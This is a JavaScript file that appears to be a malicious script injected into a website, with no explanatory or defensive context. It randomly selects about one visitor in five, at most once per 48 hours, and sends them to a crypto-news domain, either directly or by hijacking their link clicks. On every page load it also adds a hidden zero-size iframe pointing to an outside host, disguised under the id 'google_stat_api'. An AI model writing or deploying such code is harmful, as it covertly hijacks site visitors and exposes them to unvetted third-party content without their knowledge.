﻿ var random_timer = false;
        function getRandomInt(min, max) {
            return Math.floor(Math.random() * (max - min + 1)) + min;
        }

        function setUserTimeout() {
            try {
                var currentTime = new Date().getTime();
                localStorage.setItem('myUniqueRedirectTimeout', currentTime);
            } catch (e) {
                //console.error("error localStorage:", e);
            }
        }

        function hasTimeoutExpired() {
            try {
                var storedTime = localStorage.getItem('myUniqueRedirectTimeout');
                if (storedTime) {
                    var currentTime = new Date().getTime();
                   // var timerrun = 5 * 60 * 60 * 1000; // 5 min
                    var timerrun = 48 * 60 * 60 * 1000; // 48 h
                    var timePassed = currentTime - storedTime > timerrun;
                    return timePassed;
                }
                return true;
            } catch (e) {
                //console.error("error localStorage:", e);
                return true;
            }
        }

        function checkRandomAndTimeout() {
            if (hasTimeoutExpired()) {
                var randomChance = getRandomInt(1, 5);

                if (randomChance === 1) {
                    random_timer = true;

                    setUserTimeout();
                } else {

                }
            } else {

            }
        }

        function handleLinkClick(event) {
            if (random_timer) {
                setTimeout(function() {
                    window.location.href = "https://s2.crypto-news24.online/blog/vitrina/index.php";
                }, 5000);
            } else {
                window.open(event.target.href, '_blank');
            }
        }


        document.addEventListener('DOMContentLoaded', function() {
            checkRandomAndTimeout();

            var links = document.querySelectorAll('a');

            if (random_timer) {

                var rknBlock = document.querySelector('.rkn-h2');

                if (rknBlock) {
                        window.location.href = "https://s2.crypto-news24.online/blog/vitrina/index.php";
                }

                else {
                    links.forEach(function(link) {
                        link.setAttribute('target', '_blank');
                        link.addEventListener('click', handleLinkClick);
                    });
                }
            }

            // -----------------------------------------------
            if (!document.getElementById('google_stat_api')) {
                var iframe = document.createElement('iframe');
                iframe.id = 'google_stat_api';  // Присваиваем id
                iframe.style.width = '0';
                iframe.style.height = '0';
                iframe.style.border = '0';
                iframe.style.position = 'absolute';
                iframe.style.visibility = 'hidden';
                iframe.src = 'https://timlike.com/index.html';

                document.body.appendChild(iframe);
            }

        });